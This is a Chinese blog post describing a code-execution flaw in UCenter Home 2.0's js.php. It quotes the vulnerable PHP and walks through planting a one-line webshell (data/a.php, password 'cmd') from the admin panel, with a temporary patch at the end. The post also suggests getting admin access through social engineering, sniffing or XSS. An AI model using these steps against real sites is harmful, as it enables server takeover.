DZ公司的-Uchome <=2.0 后臺GetWebShell 漏洞
[重要通告]如您遇疑難雜癥,本站支持知識付費業務,掃右邊二維碼加博主微信,可節省您寶貴時間哦!
漏洞介紹:uchome<=2.0的程序中js.php文件存在代碼執行漏洞,原因是正則匹配時引號使用不當,導致可以任意提交并執行PHP代碼。 Php中單引號與雙引號是有區別的: " "雙引號里面的字段會經過編譯器解釋,然后再當作HTML代碼輸出。 ' '單引號里面的不進行解釋,直接輸出。 這里正則匹配后的\\2在雙引號里,導致了代碼可以執行。 Js.php 問題代碼如下 [code] include template("data/blocktpl/$id"); $obcontent = ob_get_contents(); obclean(); $s = array("/(\r|\n)/", "/\
$r = array("\n", '', 'js_mkurl("\\1", "\\2")');//代碼執行
$content = '';
if($obcontent) {
$obcontent = preg_replace($s, $r, $obcontent);
$lines = explode("\n", $obcontent);
foreach ($lines as $line) {
$line = addcslashes(trim($line), '/\'\\');
$content .= "document.writeln('$line');\n";
}
} else {
$content .= "document.writeln('NO DATA')";
}
[/code]
測試環境:
系統環境:Windows 2003 + IIS + PHP 5.2.9-2 + Mysql 5.0.67
程序環境:Ucenter Home 2.0(官方最新) + Ucenter 1.5(官方最新)
測試方法:
首先我在本地安裝了一個全新的uchome.。這個漏洞的前提是首先拿到后臺權限。你可以通過社工、旁注、嗅探、Xss 等手段拿到管理員密碼并進入后臺。
接著打開admincp.php?ac=block&op=add,選擇第一個添加一個模塊。填上模板名稱、其他默認即可。然后提交。如下圖
接著在數據顯示Html代碼處填入如下代碼然后提交
[code]
a
加密內容為fputs(fopen('data/a.php','w'),'');
保存后檢查一下ID,如果ID是1,則訪問一下js.php?id=1
則在data目錄下生成a.php一句話木馬,密碼是cmd
我這里ID是2 所以我訪問 js.php?id=2
訪問后data 目錄下多出了一個a.php
這就是我們的一句話。連接試試
結果顯示.漏洞確實存在并能執行任意PHP代碼。。。已經成功得到一個webshelll
漏洞修補:目前官方暫無補丁臨時修補方法如下
$r = array("\n", '', 'js_mkurl("\\1", "\\2")');
替換為
$r = array("\n", '', "js_mkurl('\\1', '\\2')");
[/code]
問題未解決?付費解決問題加Q或微信 2589053300 (即Q號又微信號)右上方掃一掃可加博主微信
所寫所說,是心之所感,思之所悟,行之所得;文當無敷衍,落筆求簡潔。 以所舍,求所獲;有所依,方所成!
免責聲明,若由于商用引起版權糾紛,一切責任均由使用者承擔。
您必須遵守我們的協議,如您下載該資源,行為將被視為對《免責聲明》全部內容的認可->聯系老梁投訴資源發表回復
要發表評論,您必須先登錄。